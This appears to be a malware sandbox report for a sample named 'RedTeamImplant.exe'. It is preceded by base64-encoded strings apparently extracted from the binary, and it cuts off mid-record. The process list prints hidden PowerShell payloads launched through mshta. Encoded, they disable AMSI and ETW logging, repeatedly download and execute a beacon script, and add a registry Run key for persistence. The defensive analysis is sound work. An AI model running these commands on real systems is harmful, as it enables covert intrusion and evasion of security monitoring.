2xlc2JhZCB0eXBlIGtpbmQgaW4gZmluYWxpemVybmVnYXRpdmUgaWRsZSBtYXJrIHdvcmtlcnN1c2Ugb2YgaW52YWxpZCBzd2VlcExvY2tlcnJ1bnRpbWU6IGJhZCBzcGFuIHMuc3RhdGU9Zm9yRWFjaFA6IFAgZGlkIG5vdCBydW4gZm53YWtlcDogbmVnYXRpdmUgbm1zcGlubmluZ3N0YXJ0bG9ja2VkbTogbG9ja2VkIHRvIG1laW5pdHRhc2sgd2l0aCBubyBmdW5jdGlvbnNjb3JydXB0ZWQgc2VtYXBob3JlIHRpY2tldG91dCBvZiBtZW1vcnkgKHN0YWNrYWxsb2Mpc2hyaW5raW5nIHN0YWNrIGluIGxpYmNhbGxydW50aW1lOiBwY0hlYWRlcjogbWFnaWM9IHRyYWNlUmVnaW9uOiBvdXQgb2YgbWVtb3J5aW52YWxpZCByZXF1ZXN0IGRlc2NyaXB0b3JubyBDU0kgc3RydWN0dXJlIGF2YWlsYWJsZXJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlbm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGVuYW1lIG5vdCB1bmlxdWUgb24gbmV0d29ya0NlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXNpbmNvbnNpc3RlbnQgcHJvY2VzcyBzdGF0dXNFYXN0ZXIgSXNsYW5kIFN0YW5kYXJkIFRpbWUzNjM3OTc4ODA3MA==17c:T554,dGltZUJlZ2luL0VuZFBlcmlvZCBub3QgZm91bmR0cmllZCB0byB1bnBpbiBub24tR28gcG9pbnRlcnJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBjZW50ZXJzeXNjYWxsIGluY29uc2lzdGVudCBicCBlbnRlcnN5c2NhbGwgaW5jb25zaXN0ZW50IHNwIGdmcHV0OiBiYWQgc3RhdHVzIChub3QgR2RlYWQpTG9ja09TVGhyZWFkIG5lc3Rpbmcgb3ZlcmZsb3dzZW1hY3F1aXJlIG5vdCBvbiB0aGUgRyBzdGFja3J1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93c3RyaW5nIGNvbmNhdGVuYXRpb24gdG9vIGxvbmdpbnZhbGlkIGZ1bmN0aW9uIHN5bWJvbCB0YWJsZXRyYWNlOiByZWFkaW5nIGFmdGVyIHNodXRkb3ducnVudGltZTogdHJhY2ViYWNrIHN0dWNrLiBwYz10cmllZCB0byB0cmFjZSBkZWFkIGdvcm91dGluZXJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kcnVudGltZS5zZW1hc2xlZXAgd2FpdF9mYWlsZWRvcGVyYXRpb24gYWxyZWFkeSBpbiBwcm9ncmVzc25vIFhFTklYIHNlbWFwaG9yZXMgYXZhaWxhYmxldG9vIG1hbnkgb3BlbiBmaWxlcyBpbiBzeXN0ZW1tYWNoaW5lIGlzIG5vdCBvbiB0aGUgbmV0d29ya3Byb3RvY29sIGZhbWlseSBub3Qgc3VwcG9ydGVkbnVtZXJpY2FsIHJlc3VsdCBvdXQgb2YgcmFuZ2VEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJ1bnRpbWUuQWRkQ2xlYW51cDogcHRyIGlzIG5pbEVhc3Rlcm4gU3RhbmRhcmQgVGltZSAoTWV4aWNvKVR1cmtzIEFuZCBDYWljb3MgU3RhbmRhcmQgVGltZUNlbnRyYWwgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUUuIFNvdXRoIEFtZXJpY2EgU3RhbmRhcmQgVGltZVBhY2lmaWMgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUNlbnRyYWwgRXVyb3BlYW4gU3RhbmRhcmQgVGltZTIyNzM3MzY3NTQ0MzIzMjA1OTQ3ODc1OTc2NTYyNU1hcEl0ZXIuS2V5IGNhbGxlZCBiZWZvcmUgTmV4dHJlZmxlY3Q6IEVsZW0gb2YgaW52YWxpZCB0eXBlIGNhbGxlZCBlbnRyeSBvbiBub24tZW50cnkgbm9kZWFzc2lnbm1lbnQgdG8gZW50cnkgaW4gbmls17d:T554,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5k17e:T558,dHlwZSBpbiBjb21wYXJlOiAgb2YgdW5leHBvcnRlZCBtZXRob2R1bmV4cGVjdGVkIHZhbHVlIHN0ZXByZWZsZWN0LlZhbHVlLlBvaW50ZXJBZGp1c3RUb2tlblByaXZpbGVnZXNMb29rdXBQcml2aWxlZ2VWYWx1ZVdOZXRVc2VyR2V0TG9jYWxHcm91cHNHZXRQcm9maWxlc0RpcmVjdG9yeVduZWdhdGl2ZSBzaGlmdCBhbW91bnRkYXRhaW5kZXBlbmRlbnR0aW1pbmdzeXN0ZW0gZ29yb3V0aW5lIHdhaXQvZ2MvaGVhcC9hbGxvY3M6Ynl0ZXNydW50aW1lOiB3b3JrLm53YWl0PSAgcHJldmlvdXMgYWxsb2NDb3VudD0sIGxldmVsQml0c1tsZXZlbF0gPSBydW50aW1lOiBzZWFyY2hJZHggPSBwcm9maWxlciBoYXNoIGJ1Y2tldHNkZWZlciBvbiBzeXN0ZW0gc3RhY2twYW5pYyBvbiBzeXN0ZW0gc3RhY2thc3luYyBzdGFjayB0b28gbGFyZ2VzdGFydG06IG0gaXMgc3Bpbm5pbmdzdGFydGxvY2tlZG06IG0gaGFzIHBmaW5kcnVubmFibGU6IHdyb25nIHBwcmVlbXB0IGF0IHVua25vd24gcGNyZWxlYXNlcDogaW52YWxpZCBhcmdjaGVja2RlYWQ6IHJ1bm5hYmxlIGdydW50aW1lOiBuZXdzdGFjayBhdCBydW50aW1lOiBuZXdzdGFjayBzcD1ydW50aW1lOiBjb25mdXNlZCBieSAgcGNIZWFkZXIudGV4dFN0YXJ0PSB0aW1lciBkYXRhIGNvcnJ1cHRpb250cmFjZS9icmVha3BvaW50IHRyYXB1c2VyIGRlZmluZWQgc2lnbmFsIDF1c2VyIGRlZmluZWQgc2lnbmFsIDJsaW5rIGhhcyBiZWVuIHNldmVyZWRwYWNrYWdlIG5vdCBpbnN0YWxsZWRibG9jayBkZXZpY2UgcmVxdWlyZWRzdGF0ZSBub3QgcmVjb3ZlcmFibGVyZWFkLW9ubHkgZmlsZSBzeXN0ZW1zdGFsZSBORlMgZmlsZSBoYW5kbGVSZWFkRGlyZWN0b3J5Q2hhbmdlc1dOZXRHZXRKb2luSW5mb3JtYXRpb25jb25jdXJyZW50IG1hcCB3cml0ZXNqYXZhc2NyaXB0OmV2YWwoYXRvYignU2FvIFRvbWUgU3RhbmRhcmQgVGltZUFsZXV0aWFuIFN0YW5kYXJkIFRpbWVQYXJhZ3VheSBTdGFuZGFyZCBUaW1lTW91bnRhaW4gU3RhbmRhcmQgVGltZUF0bGFudGljIFN0YW5kYQ==17f:T554,dW5kcm9vdCBsZXZlbCBtYXggcGFnZXMgZG9lc24ndCBmaXQgaW4gc3VtbWFyeXJ1bnRpbWUuUGlubmVyOiBhcmd1bWVudCBpcyBub3QgYSBwb2ludGVyOiBydW50aW1lOiByZWxlYXNlU3Vkb2cgd2l0aCBub24tbmlsIGdwLnBhcmFtdW5rbm93biBydW5uYWJsZSBnb3JvdXRpbmUgZHVyaW5nIGJvb3RzdHJhcHJ1bnRpbWU6IGNhc2Zyb21fR3NjYW5zdGF0dXMgYmFkIG9sZHZhbCBncD1ydW50aW1lOnN0b3Bsb2NrZWRtOiBsb2NrZWRnIChhdG9taWNzdGF0dXM9bWV0aG9kVmFsdWVDYWxsRnJhbWVPYmpzIGlzIG5vdCBpbiBhIG1vZHVsZXN5bmN0ZXN0IHRpbWVyIGFjY2Vzc2VkIGZyb20gb3V0c2lkZSBidWJibGVpbnRlcnJ1cHRlZCBzeXN0ZW0gY2FsbCBzaG91bGQgYmUgcmVzdGFydGVkZW5jb2RpbmcgYWxwaGFiZXQgY29udGFpbnMgbmV3bGluZSBjaGFyYWN0ZXJlbmNvZGluZyBhbHBoYWJldCBpbmNsdWRlcyBkdXBsaWNhdGUgc3ltYm9sc211bHQxMjhiaXRQb3cxMDogcG93ZXIgb2YgMTAgaXMgb3V0IG9mIHJhbmdlcmVmbGVjdDogZnVuY0xheW91dCB3aXRoIGludGVyZmFjZSByZWNlaXZlciBzcGFuIG9uIHVzZXJBcmVuYS5mYXVsdExpc3QgaGFzIGludmFsaWQgc2l6ZXNlbmQgb24gc3luY3Rlc3QgY2hhbm5lbCBmcm9tIG91dHNpZGUgYnViYmxlb3V0IG9mIG1lbW9yeSBhbGxvY2F0aW5nIGhlYXAgYXJlbmEgbWV0YWRhdGEvY3B1L2NsYXNzZXMvc2NhdmVuZ2UvYmFja2dyb3VuZDpjcHUtc2Vjb25kc3J1bnRpbWU6IHVuZXhwZWN0ZWQgbWV0cmljIHJlZ2lzdHJhdGlvbiBmb3IgZ2NtYXJrbmV3b2JqZWN0IGNhbGxlZCB3aGlsZSBkb2luZyBjaGVja21hcmthY3RpdmUgc3dlZXBlcnMgZm91bmQgYXQgc3RhcnQgb2YgbWFyayBwaGFzZW5vIFAgYXZhaWxhYmxlLCB3cml0ZSBiYXJyaWVycyBhcmUgZm9yYmlkZGVuY29tcGlsZUNhbGxiYWNrOiBmbG9hdCByZXN1bHRzIG5vdCBzdXBwb3J0ZWRjYW5ub3QgdHJhY2UgdXNlciBnb3JvdXRpbmUgb24gaXRzIG93biBzdGFja3Vuc2FmZS5TbGljZTogcHRy180:T554,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRG181:T558,dW5sb2NrOiBsb2NrIGNvdW50cHJvZ1RvUG9pbnRlck1hc2s6IG92ZXJmbG93L2djL2N5Y2xlcy9mb3JjZWQ6Z2MtY3ljbGVzL21lbW9yeS9jbGFzc2VzL290aGVyOmJ5dGVzL21lbW9yeS9jbGFzc2VzL3RvdGFsOmJ5dGVzZmFpbGVkIHRvIHNldCBzd2VlcCBiYXJyaWVyd29yay5ud2FpdCB3YXMgPiB3b3JrLm5wcm9jIG5vdCBpbiBzdGFjayByb290cyByYW5nZSBbYWxsb2NhdGVkIHBhZ2VzIGJlbG93IHplcm8/YWRkcmVzcyBub3QgYSBzdGFjayBhZGRyZXNzbXNwYW4uc3dlZXA6IGJhZCBzcGFuIHN0YXRlaW52YWxpZCBwcm9maWxlIGJ1Y2tldCB0eXBlcnVudGltZTogY29ycnVwdGVkIHBvbGxkZXNjcnVudGltZTogbmV0cG9sbGluaXQgZmFpbGVkcnVudGltZTogYXN5bmNQcmVlbXB0U3RhY2s9cnVudGltZTogdGhyZWFkIElEIG92ZXJmbG93c3RvcFRoZVdvcmxkOiBob2xkaW5nIGxvY2tzZ2NzdG9wbTogbm90IHdhaXRpbmcgZm9yIGdjcnVudGltZTogY2hlY2tkZWFkOiBubWlkbGU9cnVudGltZTogY2hlY2tkZWFkOiBmaW5kIGcgcnVubG9jayBvZiB1bmxvY2tlZCByd211dGV4c2lnc2VuZDogaW5jb25zaXN0ZW50IHN0YXRlbWFrZXNsaWNlOiBsZW4gb3V0IG9mIHJhbmdlbWFrZXNsaWNlOiBjYXAgb3V0IG9mIHJhbmdlZ3Jvd3NsaWNlOiBsZW4gb3V0IG9mIHJhbmdlc3RhY2sgc2l6ZSBub3QgYSBwb3dlciBvZiAydG9vIG1hbnkgY2FsbGJhY2sgZnVuY3Rpb25zdGltZXIgd2hlbiBtdXN0IGJlIHBvc2l0aXZlOiB1bmV4cGVjdGVkIHJldHVybiBwYyBmb3IgY2hhbm5lbCBudW1iZXIgb3V0IG9mIHJhbmdlY29tbXVuaWNhdGlvbiBlcnJvciBvbiBzZW5ka2V5IHdhcyByZWplY3RlZCBieSBzZXJ2aWNlbm90IGEgWEVOSVggbmFtZWQgdHlwZSBmaWxlQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlYWJpLk5ld05hbWU6IHRhZyB0b28gbG9uZzogaHR0cHNlcnZlY29udGVudGtlZXBoZWFkZXJzY21kIC9jIGRlbCAvRiAvUSAiJXMiICYgZXhpdG9zOiBwcm9jZXNzIGFscmVhZHkgZmluaXNoZWRHZXRGaQ==182:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayE=183:T554,dW50aW1lOiBtY2FsbCBjYWxsZWQgb24gbS0+ZzAgc3RhY2tzdGFydG06IFAgcmVxdWlyZWQgZm9yIHNwaW5uaW5nPXRydWUpIGlzIG5vdCBHcnVubmFibGUgb3IgR3NjYW5ydW5uYWJsZXVwZGF0ZU1heFByb2NzR29yb3V0aW5lOiBwaGFzZSBlcnJvcnJ1bnRpbWU6IGJhZCBub3RpZnlMaXN0IHNpemUgLSBzeW5jPWFjY2Vzc2VkIGRhdGEgZnJvbSBmcmVlZCB1c2VyIGFyZW5hIHJ1bnRpbWU6IHdyb25nIGdvcm91dGluZSBpbiBuZXdzdGFja3J1bnRpbWU6IGludmFsaWQgcGMtZW5jb2RlZCB0YWJsZSBmPWFjY2Vzc2luZyBhIGNvcnJ1cHRlZCBzaGFyZWQgbGlicmFyeXN0cmluZ3MuQnVpbGRlci5Hcm93OiBuZWdhdGl2ZSBjb3VudHN0cmluZ3M6IEpvaW4gb3V0cHV0IGxlbmd0aCBvdmVyZmxvd2ludmFsaWQgcGF0dGVybiBzeW50YXggKCsgYWZ0ZXIgLSk6IDIyMjA0NDYwNDkyNTAzMTMwODA4NDcyNjMzMzYxODE2NDA2MjVyZWZsZWN0OiBmdW5jTGF5b3V0IG9mIG5vbi1mdW5jIHR5cGUgcmVmbGVjdC5WYWx1ZS5CeXRlcyBvZiBub24tYnl0ZSBzbGljZXJlZmxlY3QuVmFsdWUuQnl0ZXMgb2Ygbm9uLWJ5dGUgYXJyYXltZXRob2QgQUJJIGFuZCB2YWx1ZSBBQkkgZG8gbm90IGFsaWducnVudGltZTogYWxsb2NhdGlvbiBzaXplIG91dCBvZiByYW5nZSkgaXMgc21hbGxlciB0aGFuIG1pbmltdW0gcGFnZSBzaXplICgvY3B1L2NsYXNzZXMvZ2MvbWFyay9pZGxlOmNwdS1zZWNvbmRzc2V0cHJvZmlsZWJ1Y2tldDogcHJvZmlsZSBhbHJlYWR5IHNldGZhaWxlZCB0byByZXNlcnZlIHBhZ2Ugc3VtbWFyeSBtZW1vcnlydW50aW1lLm1pbml0OiBkdXBsaWNhdGVoYW5kbGUgZmFpbGVkX2Nnb19ub3RpZnlfcnVudGltZV9pbml0X2RvbmUgbWlzc2luZ3N0YXJ0VGhlV29ybGQ6IGluY29uc2lzdGVudCBtcC0+bmV4dHBDb3VsZG4ndCBwdXQgR3MgaW50byBlbXB0eSBsb2NhbCBydW5xcnVudGltZTogdW5leHBlY3RlZCBTUFdSSVRFIGZ1bmN0aW9uIGFsbCBnb3JvdXRpbmVzIGFyZSBhc2xlZXAgLSBkZWFkbG9jayFj1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"job_id":"690bbdbda92b1788310d1d92","environment_id":140,"environment_description":"Windows 11 64 bit","size":1922048,"type":"PE32+ executable for MS Windows 6.01 (GUI), x86-64, 8 sections","type_short":["peexe","64bits","executable"],"type_short_id":"64-bit exe","target_url":null,"state":"SUCCESS","error_type":null,"error_origin":null,"submit_name":"RedTeamImplant.exe","md5":"fe5d7cb1f9ae9b4c5fb579d5e07ed72a","sha1":"237530396f23e37fe64ae3dfd0b06e9f789a1235","sha256":"f3a2dab8f5604615afba1174e89e7aeb683451f1d953991c15369e3835fd701d","sha512":"30baf226349f941227d9bf47fdc7eaa60738f6900e669f95eb39a178c42cf157cbd345dd07828d2f10ed41cedd66931c8b3cdf5b5af2b528c4a0a3e113c6f616","ssdeep":"24576:Yk9hCuoYfNbYLb7L7mbS2L1PlDhkYpJt+ORwBeleX7KDI2hLRDr37uoJtud:Yk9hrXfM7O22xJeiW7y","imphash":"d42595b695fc008ef2c56aabd8efd68e","entrypoint":"0x140077260","entrypoint_section":".text","image_base":"0x140000000","subsystem":"Windows Gui","image_file_characteristics":["EXECUTABLE_IMAGE","LARGE_ADDRESS_AWARE"],"dll_characteristics":["HIGH_ENTROPY_VA","DYNAMIC_BASE","NX_COMPAT","TERMINAL_SERVER_AWARE"],"major_os_version":"6","minor_os_version":"1","av_detect":3,"vx_family":null,"url_analysis":false,"analysis_start_time":"2025-11-05T21:12:31+00:00","threat_score":100,"interesting":false,"threat_level":2,"verdict":"malicious","certificates":[],"is_certificates_valid":false,"certificates_validation_message":"No signature was present in the subject. (0x800b0100)","domains":[],"compromised_hosts":[],"hosts":[],"total_network_connections":0,"total_processes":9,"total_signatures":169,"extracted_files":[],"file_metadata":{"file_compositions":[],"imported_objects":[],"file_analysis":[],"total_file_compositions_imports":null},"processes":[{"uid":"00000000-00007844","parentuid":null,"name":"RedTeamImplant.exe","normalized_path":"C:\\RedTeamImplant.exe","command_line":null,"sha256":"f3a2dab8f5604615afba1174e89e7aeb683451f1d953991c15369e3835fd701d","av_label":null,"av_matched":1,"av_total":27,"pid":"7844","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACKElEQVR4Xu2RyW4TURBFvfEcB8f8AiwRv0UAA3E8ZERhSJiHsLCUFZK/gwAmTQYyAMYMhgASn+FNUVWvX3enKk/uTeRISUtHbnlxz73VicTpc+KfRq0CU/XJoUDuhPzzKPA879Bfggv0+/2hcPwKtFotaDabDL3b/y++/AdnX/xF/kBpGXn+G9mH0jPiF4w9RZ78hLHHRA+Kj3pwYWV/YK4q4KK0TMJQysJA2gukxYffofggROZI4hc4dOUPFBK+8P43OEPc+8qMLnVVjkQVcJ3KLjUrHdIllC5+MdwlOgNzVQEX4Wmt0Eq7ESFyp4N8hsJt5NYnlSOJXSBc2TUsdiPCDgtHWYosfISRm8SeypGoAq5TydMWIiuZQIrM78HI3C4zKFcVcBFdqqQknN9l8rM7PtuQn9lWOZLYBQIhUgikdukOyyy56Q+Qm0IaWypHogq4ThVdmichrbRSFm4ZUJqrb0K2tsFIoUQVcEFL7Vnz03alL2SpEWZr65CtIpPvGZkjiV2AVh5YSiutlIQ+mYoHmQlijZE5ElXA9QlyDSMMlloprsxUCF96Yw3S198ZrrWVUKIKuLDSjH/aQMhSKzTSdPktpK4Sb1SOJH4BEvvSNK0MpG1IoTBdbrOQufIaUpeR8VWVI1EFXJ+ATyukLGahla5Ccpx4BclLBimUqAIuzi9smpXlgyuTLA2FUc7NeCpHErvAUXE8CtSrE/wyDOpVLHD6nPjnPyIPUCMAVciHAAAAAElFTkSuQmCC","process_flags":[{"name":"Extracted Streams","data":null}]},{"uid":"00000000-00007932","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZSgnU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHMnKTskZj0kYS5HZXRGaWVsZCgnYW1zaUluaXRGYWlsZWQnLCdOb25QdWJsaWMsU3RhdGljJyk7JGYuU2V0VmFsdWUoJG51bGwsJHRydWUpO1tEaWFnbm9zdGljcy5UcmFjaW5nLkV2ZW50U291cmNlXTo6R2V0U291cmNlcygpfD97JF8uTmFtZS1saWtlJypQb3dlclNoZWxsKid9fCV7JF8uU2V0RXR3UHJvdmlkZXJFbmFibGVkKCRmYWxzZSl9\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"7932","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00004164","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc d2hpbGUoJHRydWUpe3RyeXskd2M9TmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgnVXNlci1BZ2VudCcsJ01vemlsbGEvNS4wJyk7SUVYKCR3Yy5Eb3dubG9hZFN0cmluZygnaHR0cDovLzEyNy4wLjAuMTo4MDgwL2JlYWNvbi5wczEnKSl9Y2F0Y2h7fTtTdGFydC1TbGVlcCAtcyAzMH0=\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"4164","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00008072","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc cmVnIGFkZCBIS0NVXFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biAvdiBVcGRhdGUgL3QgUkVHX1NaIC9kICJtc2h0YSB2YnNjcmlwdDpDcmVhdGVPYmplY3QoXCJcIldTY3JpcHQuU2hlbGxcIlwiKS5SdW4oXCJcInBvd2Vyc2hlbGwgLXcgaGlkZGVuIC1lbmMgLi4uXCJcIiwwKSh3aW5kb3cuY2xvc2UpIiAvZg==\\\", 0, False(window.close)\"","sha256":"9984088ed1d04e49ff713fd4488700397ae0a7fa84285cc2714599abd6b109f5","av_label":null,"av_matched":null,"av_total":null,"pid":"8072","icon":null,"process_flags":[{"name":"Reduced Monitoring","data":null}]},{"uid":"00000000-00009000","parentuid":"00000000-00007844","name":"mshta.exe","normalized_path":"%WINDIR%\\system32\\mshta.exe","command_line":"\"vbscript:CreateObject(\\\"WScript.Shell\\\").Run \\\"powershell -NoP -NonI -W Hidden -Enc 